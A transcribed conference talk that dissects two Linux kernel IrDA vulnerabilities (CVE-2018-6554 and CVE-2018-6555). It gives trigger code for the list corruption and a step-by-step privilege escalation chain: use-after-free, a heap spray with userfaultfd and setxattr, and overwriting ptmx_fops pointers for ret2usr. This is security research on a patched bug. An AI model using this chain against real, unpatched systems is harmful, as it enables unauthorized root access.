Dissecting a 17-year-old kernel bug

Similar documents
Scripting Linux system calls with Lua. Lua Workshop 2018 Pedro Tammela CUJO AI

Linux Kernel Futex Fun: Exploiting CVE Dougall Johnson

From Thousands of Hours to a Couple of Minutes: Towards Automating Exploit Generation for Arbitrary Types of Kernel Vulnerabilities

Memory management. Johan Montelius KTH

Get the (Spider)monkey off your back

KSMA: Breaking Android kernel isolation and Rooting with ARM MMU features. WANG, YONG a.k.a. Pandora Lab of Ali Security

Trinity A Linux kernel fuzz tester.

Identifying Memory Corruption Bugs with Compiler Instrumentations. 이병영 ( 조지아공과대학교

Lecture 8 Dynamic Memory Allocation

WINDOWS 10 RS2/RS3 GDI DATA-ONLY EXPLOITATION TALES

SA30228 / CVE

libnetfilter_log Reference Manual

CSE 124 Discussion Section Sockets Programming 10/10/17

From Collision To Exploitation: Unleashing Use-After-Free Vulnerabilities in Linux Kernel

Leveraging CVE for ASLR Bypass & RCE. Gal De Leon & Nadav Markus

The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel. Di Shen a.k.a. Retme Keen Lab of Tencent

Defeat Exploit Mitigation Heap Attacks. compass-security.com 1

CSE 127 Computer Security

Lecture 5 Overview! Last Lecture! This Lecture! Next Lecture! I/O multiplexing! Source: Chapter 6 of Stevens book!

Beyond Stack Smashing: Recent Advances in Exploiting. Jonathan Pincus(MSR) and Brandon Baker (MS)

UniSan: Proactive Kernel Memory Initialization to Eliminate Data Leakages

CSE 509: Computer Security

Lecture 08 Control-flow Hijacking Defenses

Pangu 9 Internals. Tielei Wang and Hao Xu

Reminder: compiling & linking

CS5460/6460: Operating Systems. Lecture 24: Device drivers. Anton Burtsev April, 2014

CMPSC 311 Exam 2. March 27, 2015

Lecture 7. Followup. Review. Communication Interface. Socket Communication. Client-Server Model. Socket Programming January 28, 2005

CS 31: Intro to Systems Pointers and Memory. Martin Gagne Swarthmore College February 16, 2016

13th ANNUAL WORKSHOP 2017 VERBS KERNEL ABI. Liran Liss, Matan Barak. Mellanox Technologies LTD. [March 27th, 2017 ]

Memory Corruption 101 From Primitives to Exploit

malloc() is often used to allocate chunk of memory dynamically from the heap region. Each chunk contains a header and free space (the buffer in which

Other array problems. Integer overflow. Outline. Integer overflow example. Signed and unsigned

CS 33. Intro to Storage Allocation. CS33 Intro to Computer Systems XXVI 1 Copyright 2017 Thomas W. Doeppner. All rights reserved.

Low-Level C Programming. Memory map Pointers Arrays Structures

CSCI 4061: Virtual Memory

Unleashing D* on Android Kernel Drivers. Aravind Machiry

Outline. Classic races: files in /tmp. Race conditions. TOCTTOU example. TOCTTOU gaps. Vulnerabilities in OS interaction

Software Security: Buffer Overflow Attacks

Recitation #11 Malloc Lab. November 7th, 2017

Program Security and Vulnerabilities Class 2

Play with FILE Structure Yet Another Binary Exploitation Technique. Abstract

Module: Program Vulnerabilities. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security

Radix Tree, IDR APIs and their test suite. Rehas Sachdeva & Sandhya Bankar

Class Information ANNOUCEMENTS

A program execution is memory safe so long as memory access errors never occur:

CSE 306/506 Operating Systems Process Address Space. YoungMin Kwon

lpengfei Ding & Chenfu Bao lsecurity Researcher & Baidu X-Lab lfocused on Mobile, IoT and Linux kernel security

libxcpc(3) Exception and resource handling in C libxcpc(3)

2/9/18. Secure Coding. CYSE 411/AIT681 Secure Software Engineering. Agenda. Dynamic Memory Interface. Dynamic Memory Interface

Modern C++ for Computer Vision and Image Processing. Igor Bogoslavskyi

Vector and Free Store (Pointers and Memory Allocation)

Operating System Labs. Yuanbin Wu

Princeton University Computer Science 217: Introduction to Programming Systems. Dynamic Memory Management

Fundamentals of Computer Security

Introduction to Operating Systems. Device Drivers. John Franco. Dept. of Electrical Engineering and Computing Systems University of Cincinnati

20: Exploits and Containment

Intrusion Detection and Malware Analysis

Princeton University. Computer Science 217: Introduction to Programming Systems. Dynamic Memory Management

General Pr0ken File System

ios vulnerabilities technical details

Intermediate Programming, Spring 2017*

Module: Program Vulnerabilities. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security

Bill Bridge. Oracle Software Architect NVM support for C Applications

SYSTEM CALL IMPLEMENTATION. CS124 Operating Systems Fall , Lecture 14

How Double-Fetch Situations turn into Double-Fetch Vulnerabilities:

Runtime Defenses against Memory Corruption

Changelog. Corrections made in this version not in first posting: 1 April 2017: slide 13: a few more %c s would be needed to skip format string part

CS 31: Intro to Systems Pointers and Memory. Kevin Webb Swarthmore College October 2, 2018

However, in C we can group related variables together into something called a struct.

CS C Primer. Tyler Szepesi. January 16, 2013

Memory Management. CS31 Pascal Van Hentenryck CS031. Lecture 19 1

Secure C Coding...yeah right. Andrew Zonenberg Alex Radocea

Final Step #7. Memory mapping For Sunday 15/05 23h59

Socket Programming for TCP and UDP

CSE 333 SECTION 3. POSIX I/O Functions

System Administration and Network Security

LINUX VULNERABILITIES, WINDOWS EXPLOITS Escalating Privileges with WSL. Saar Amar Recon brx 2018

Cpt S 122 Data Structures. Data Structures

Linux Device Drivers Interrupt Requests

Secure Software Programming and Vulnerability Analysis

Fault Injection in System Calls

CSE / / 60567: Computer Security. Software Security 4

Fall 2018 Discussion 2: September 3, 2018

Robust Programming. Style of programming that prevents abnormal termination and unexpected actions

CSCI 8530 Advanced Operating Systems. Part 2 Organization of an Operating System

CMPS 105 Systems Programming. Prof. Darrell Long E2.371

Module: Program Vulnerabilities. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security

RCU. ò Walk through two system calls in some detail. ò Open and read. ò Too much code to cover all FS system calls. ò 3 Cases for a dentry:

VFS, Continued. Don Porter CSE 506

ISA564 SECURITY LAB. Code Injection Attacks

Memory corruption vulnerability exposure can be mitigated through memory hardening practices

Malloc Lab & Midterm Solutions. Recitation 11: Tuesday: 11/08/2016

CS 161 Computer Security

A Heap of Trouble Exploiting the Linux Kernel SLOB Allocator

UNIT IV- SOCKETS Part A

sottotitolo Socket Programming Milano, XX mese 20XX A.A. 2016/17 Federico Reghenzani

Programming Ethernet with Socket API. Hui Chen, Ph.D. Dept. of Engineering & Computer Science Virginia State University Petersburg, VA 23806

Fastbin_dup into stack exploitation

Lecture Notes on Memory Layout

Transcription:

Dissecting a 17-year-old kernel bug Vitaly Nikolenko bevx 2018 - Hong Kong https://www.beyondsecurity.com/bevxcon/

Agenda Vulnerability analysis CVE-2018-6554^ - memory leak CVE-2018-6555^ - privilege escalation Exploitation / PoC ^ https://lists.ubuntu.com/archives/kernel-team/2018-september/095137.html

CVE-2018-655[45] Bugs in IrDA subsystem (generally compiled as a module but can be auto-loaded) socket(af_irda, 0x5, 0); CVEs were released a couple of weeks ago The vulnerability was introduced in 2.4.17 (21 Dec 2001) Affecting all kernel versions up to 4.17 (IrDA subsystem was removed) Most distributions are affected!

CVE-2018-6554 Denial of Service Memory leak in the irda_bind function in net/irda/af_irda.c and later in drivers/staging/irda/net/af_irda.c in the Linux kernel before 4.17 allows local users to cause a denial of service (memory consumption) by repeatedly binding an AF_IRDA socket. (CVE-2018-6554) ^ https://lists.ubuntu.com/archives/kernel-team/2018-september/095137.html

CVE-2018-6554 Denial of Service (irda_bind) static int irda_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len) { struct sock *sk = sock->sk; struct irda_sock *self = irda_sk(sk);... [1] self->ias_obj = irias_new_object(addr->sir_name, jiffies); if (self->ias_obj == NULL) return -ENOMEM; [2] err = irda_open_tsap(self, addr->sir_lsap_sel, addr- >sir_name); if (err < 0) { irias_delete_object(self->ias_obj); self->ias_obj = NULL; return err; } [3] irias_insert_object(self->ias_obj);

CVE-2018-6554 Denial of Service (irda_bind) struct sockaddr_irda sa; fd = socket(af_irda, 0x5, 0); memset(&sa, 0, sizeof(sa)); sa.sir_family = 4; sa.sir_lsap_sel = 0x4a; sa.sir_addr = 0x3; sa.sir_name[0] = c ; bind(fd, (struct sockaddr*)&sa, sizeof(sa)); bind(fd, (struct sockaddr*)&sa, sizeof(sa));

Hashbin Queue net/irda/irqueue.c Specific to IrDa implementation Chained hash table + queue Doubly-linked list (q_prev and q_next pointers) Enqueue - insert a new element at the front of the queue; dequeue - remove arbitrary elements

Hashbin Queue net/irda/irqueue.c Two operations to manipulate the hashbin queue layout: Removing elements from the queue close() irda_destroy_socket() dequeue_general() Adding new elements to the queue bind() setsockopt() irda_bind() irda_setsockopt() enqueue_first() enqueue_first()

Manipulating the queue dequeue_general() static irda_queue_t *dequeue_general(irda_queue_t **queue, irda_queue_t* element) {... if ( *queue == NULL ) { /* * Queue was empty. */ } else if ( (*queue)->q_next == *queue ) { /* * Queue only contained a single element. It will now be * empty. */ *queue = NULL; } else { /* * Remove specific element. */ element->q_prev->q_next = element->q_next; element->q_next->q_prev = element->q_prev; if ( (*queue) == element) (*queue) = element->q_next; }

Manipulating the queue enqueue_first() static void enqueue_first(irda_queue_t **queue, irda_queue_t* element) { IRDA_DEBUG( 4, "%s()\n", func ); /* * Check if queue is empty. */ if ( *queue == NULL ) { /* * Queue is empty. Insert one element into the queue. */ element->q_next = element->q_prev = *queue = element; } } else { /* * Queue is not empty. Insert element into front of queue. */ element->q_next = (*queue); (*queue)->q_prev->q_next = element; element->q_prev = (*queue)->q_prev; (*queue)->q_prev = element; (*queue) = element; }

Manipulating the queue Global queue Global hashbin_t *irias_objects (gdb) ptype irias_objects type = struct hashbin_t { u32 magic; int hb_type; int hb_size; spinlock_t hb_spinlock; irda_queue_t *hb_queue[8]; irda_queue_t *hb_current; } * 56 byte objects > kmalloc_64 (kzalloc d in irias_new_object()) (gdb) ptype irias_objects->hb_queue type = struct irda_queue { struct irda_queue *q_next; struct irda_queue *q_prev; char q_name[32]; long q_hash; } *[8]

Manipulating the queue enqueue_first() When binding, the ias_obj gets inserted into irias_objects->hb_queue[3] memset(&sa, 0, sizeof(sa)); sa.sir_family = 4; sa.sir_lsap_sel = 0x4a; sa.sir_addr = 0x3; sa.sir_name[0] = c ; bind(fd, (struct sockaddr*)&sa, sizeof(sa));

Inserting a new ias_obj enqueue_first( ) queue head ptr enqueue_first() element->q_next = (*queue); (*queue)->q_prev->q_next = element; element->q_prev = (*queue)->q_prev; (*queue)->q_prev = element; (*queue) = element; q_prev s1 q_next Bind sock 2 -> enqueue_first( ) queue head ptr s2 s1

Removing s2 ias_obj dequeue_general( ) queue head ptr s2 s1 element->q_prev->q_next = element->q_next; element->q_next->q_prev = element->q_prev; if ( (*queue) == element) (*queue) = element->q_next; queue head ptr q_prev s1 q_next

CVE-2018-6555 LPE The irda_setsockopt() function conditionally allocates memory for a new self->ias_object or, in some cases, reuses the existing self->ias_object. Existing objects were incorrectly reinserted into the LM_IAS database which corrupted the doubly linked list used for the hashbin implementation of the LM_IAS database. When combined with a memory leak in irda_bind(), this issue could be leveraged to create a use-after-free vulnerability in the hashbin list. ^ https://lists.ubuntu.com/archives/kernel-team/2018-september/095147.html

CVE-2018-6555 LPE The vulnerability is that we can reinsert the same ias_obj object into the queue via irda_setsockopt()! static int irda_setsockopt(struct socket *sock, int level, int optname, char user *optval, unsigned int optlen) {... switch (optname) { case IRLMP_IAS_SET:... /* Find the object we target. * If the user gives us an empty string, we use the object * associated with this socket. This will workaround * duplicated class name - Jean II */ [1] if(ias_opt->irda_class_name[0] == '\0') { if(self->ias_obj == NULL) { kfree(ias_opt); err = -EINVAL; goto out; } [2] ias_obj = self->ias_obj; } else ias_obj = irias_find_object(ias_opt->irda_class_name);... [3] irias_insert_object(ias_obj);

CVE-2018-6555 Single object Reinsert a single object int irda_bind(int fd, u_int16_t family,u_int8_t lsap_sel, int sir_addr) { struct sockaddr_irda sa; memset(&sa, 0, sizeof(sa)); sa.sir_family = family; sa.sir_lsap_sel = lsap_sel; sa.sir_addr = sir_addr;... } sa.sir_name[0] = c ; bind(fd, (struct sockaddr*)&sa, sizeof(sa)); irda_set.irda_class_name = \0 ; fd1 = socket(af_irda, 0x5, 0); irda_bind(fd1, 4, 0x4a, 0x3, c ); // insert s1 setsockopt(fd1, IRLMP_IAS_SET, &irda_set,...); // reinsert s1

CVE-2018-6555 Reinserting s1 queue head ptr s1 enqueue_first(s1); queue head ptr s1

CVE-2018-6555 Two objects Reinsert s1 or s2: fd1 = socket(af_irda, 0x5, 0); fd2 = socket(af_irda, 0x5, 0); irda_bind(fd1, 4, 0x4a, 0x3, c ); // insert s1 irda_bind(fd2, 4, 0x4b, 0x3, c ); // insert s2 setsockopt(fd2, IRLMP_IAS_SET, &irda_set,...); // reinsert s2

CVE-2018-6555 Reinsert s2 queue head ptr s2 s1 enqueue_first(s2); queue head ptr s2 s1

UAF 1. Create 3 IrDA sockets and bind them 2. Reinsert the middle (second) socket ias_object with irda_setsockopt() 3. Close the 2nd socket 4. Close the 3rd socket and trigger UAF 8-byte write (q_prev member)

Step 1 Bind 3 IrDa sockets queue head ptr fd1 = socket(0x17, 0x5, 0); fd2 = socket(0x17, 0x5, 0); fd3 = socket(0x17, 0x5, 0); irda_bind(fd1, 4, 0x4a, 0x3, c ); irda_bind(fd2, 4, 0x4b, 0x3, c ); irda_bind(fd3, 4, 0x4c, 0x3, c ); s3 s2 s1

Step 2a Reinsert s2 element->q_next = (*queue); (*queue)->q_prev->q_next = element; element->q_prev = (*queue)->q_prev; (*queue)->q_prev = element; (*queue) = element; queue head ptr s3 s2 s1

Step 2b Reinsert s2 element->q_next = (*queue); (*queue)->q_prev->q_next = element; element->q_prev = (*queue)->q_prev; (*queue)->q_prev = element; (*queue) = element; queue head ptr s3 s2 s1

Step 2c Reinsert s2 element->q_next = (*queue); (*queue)->q_prev->q_next = element; element->q_prev = (*queue)->q_prev; (*queue)->q_prev = element; (*queue) = element; queue head ptr s3 s2 s1

Step 2d Reinsert s2 element->q_next = (*queue); (*queue)->q_prev->q_next = element; element->q_prev = (*queue)->q_prev; (*queue)->q_prev = element; (*queue) = element; queue head ptr s3 s2 s1

Step 2e Reinsert s2 element->q_next = (*queue); (*queue)->q_prev->q_next = element; element->q_prev = (*queue)->q_prev; (*queue)->q_prev = element; (*queue) = element; queue head ptr s3 s2 s1

Step 2e Reinsert s2 element->q_next = (*queue); (*queue)->q_prev->q_next = element; element->q_prev = (*queue)->q_prev; (*queue)->q_prev = element; (*queue) = element; queue head ptr s2 s3 s1

Step 3 Close s2 element->q_prev->q_next = element->q_next; element->q_next->q_prev = element->q_prev; if ( (*queue) == element) (*queue) = element->q_next; queue head ptr s2 s3 s1

Step 4a Close s3 and first UAF q_next * q_prev * element->q_prev->q_next = element->q_next; element->q_next->q_prev = element->q_prev; if ( (*queue) == element) (*queue) = element->q_next; queue head ptr UAF write with 0xffff8800xxxxxxxx s3 s2 s1

Step 4b Updating the Q head element->q_prev->q_next = element->q_next; element->q_next->q_prev = element->q_prev; if ( (*queue) == element) (*queue) = element->q_next; q_next * 0xffff8800xxxxxxxx queue head ptr s3 s1

Step 4b First UAF - summary Can overwrite the objects q_prev ptr (i.e. fixed offset: +8 bytes) Don t control the value we overwrite with (address of the s1 object 0xffff8800xxxxxxxx) If 0xffff8800xxxxxxxx was executable, could place the payload there :( kernel tried to execute NX-protected page - exploit attempt?

Step 5 Bind 4th socket element->q_next = (*queue); (*queue)->q_prev->q_next = element; element->q_prev = (*queue)->q_prev; (*queue)->q_prev = element; (*queue) = element; q_next * 0xffff8800deadbeef 0xffff8800xxxxxxxx 0xffff8800deadbeef queue head ptr s3 s4 0xffff8800xxxxxxxx

Exploitation SE to identify UAF Model hashbin implementation in user space; enqueue_first(), dequeue_general(), struct definitions, etc. Model kmalloc/kfree (struct member {freed: 1}) Set assertions on q_prev and q_next dereferences when the object is freed (freed == 0) The input can be taken as sequence of enqueue and dequeue operations: e1d1e2e3e2... KLEE: symbolically executes LLVM bit code (.bc files)

Exploitation Heap spray Before binding the last (4th) socket, allocate a controlled object X (32 < sizeof(x) <= 64) struct irda_queue { struct irda_queue *q_next; struct irda_queue *q_prev; char q_name[32]; long q_hash; }; The q_prev should be the address whose value will be overwritten with the address of the s4 sock object

Exploitation Heap spray Requirements: Need to control the address at offset +8 bytes The object must stay in the kernel Public heap sprays add_key(), msgsnd(), send[m]msg() won t work here

Exploitation Heap spray userfaultfd() - create a file descriptor for handling page faults in user space Creates a separate thread for handling page faults; e.g., uaddr = malloc(0x500000, 0x1000, ) and then handle page faults in a separate thread in your program when dereferencing 0x500000-0x501000 range Can delay and keep kmalloc d objects in kernel space!

Exploitation Heap spray static long setxattr(struct dentry *d, const char user *name, const void user *value, size_t size, int flags) {... if (size) { if (size > XATTR_SIZE_MAX) return -E2BIG; kvalue = kmalloc(size, GFP_KERNEL GFP_NOWARN); if (!kvalue) { vvalue = vmalloc(size); if (!vvalue) return -ENOMEM; kvalue = vvalue; } if (copy_from_user(kvalue, value, size)) { error = -EFAULT; goto out; }... out: if (vvalue) vfree(vvalue); else kfree(kvalue);

Exploitation Heap spray void *addr = mmap(0x500000, 0x2000, ); userfaultfd on 2nd page Page 1 Page 2 0x500000 0x501000 struct ias_obj *a = (0x500000 + 0x1000) - X; 56 bytes Page 1 Page 2 0x500000 0x501000

Exploitation Heap spray 1. a->q_prev = kern_addr_to_overwrite; 2. Call setxattr() on the mmaped addr at (0x500000 + 0x1000) - X 3. Trigger the 2nd UAF by inserting the 4th ias_obj

Exploitation What address to overwrite? We don t control the value we overwrite with! > 0xffff8800xxxxxxxx Basic ret2usr is easy Exploit misalignment for some global struct with function pointers For example, two unused function pointers next to each other in ptmx_fops

Exploitation What address to overwrite? (gdb) p ptmx_fops $17 = {owner = 0x0, llseek = 0x0, read = 0x0, write = 0x0, read_iter = 0x0, write_iter = 0x0, iterate = 0x0, poll = 0x0, unlocked_ioctl = 0x0, compat_ioctl = 0x0, mmap = 0x0, open = 0x0, flush = 0x0, release = 0x0, fsync = 0x0, aio_fsync = 0x0, fasync = 0x0, lock = 0x0, sendpage = 0x0, get_unmapped_area = 0x0, check_flags = 0x0, flock = 0x0, splice_write = 0x0, splice_read = 0x0, setlease = 0x0, fallocate = 0x0, show_fdinfo = 0x0} (gdb) p/x (unsigned long)&ptmx_fops->aio_fsync + 4 $18 = 0xffffffff8211761c

Exploitation What address to overwrite? Overwriting with 0xffff8800aabbccdd aio_fsync fasync 0xaabbccdd00000000 0xffff8800 Mapped in user space and triggered with fcntl(fd, F_SETFL, flags FASYNC); fsync(fd);

Exploitation Summary 1. Create 4 IrDa sockets and bind the first 3 2. Reinsert the middle object 3. Close the second 2nd socket 4. Allocate object X in kmalloc-64, then close the 3rd socket (first UAF) 5. Reallocate X (w/ q_prev pointing to target address) and bind the 4th socket

DEMO

Questions? @vnik5287 vnik@cyseclabs.com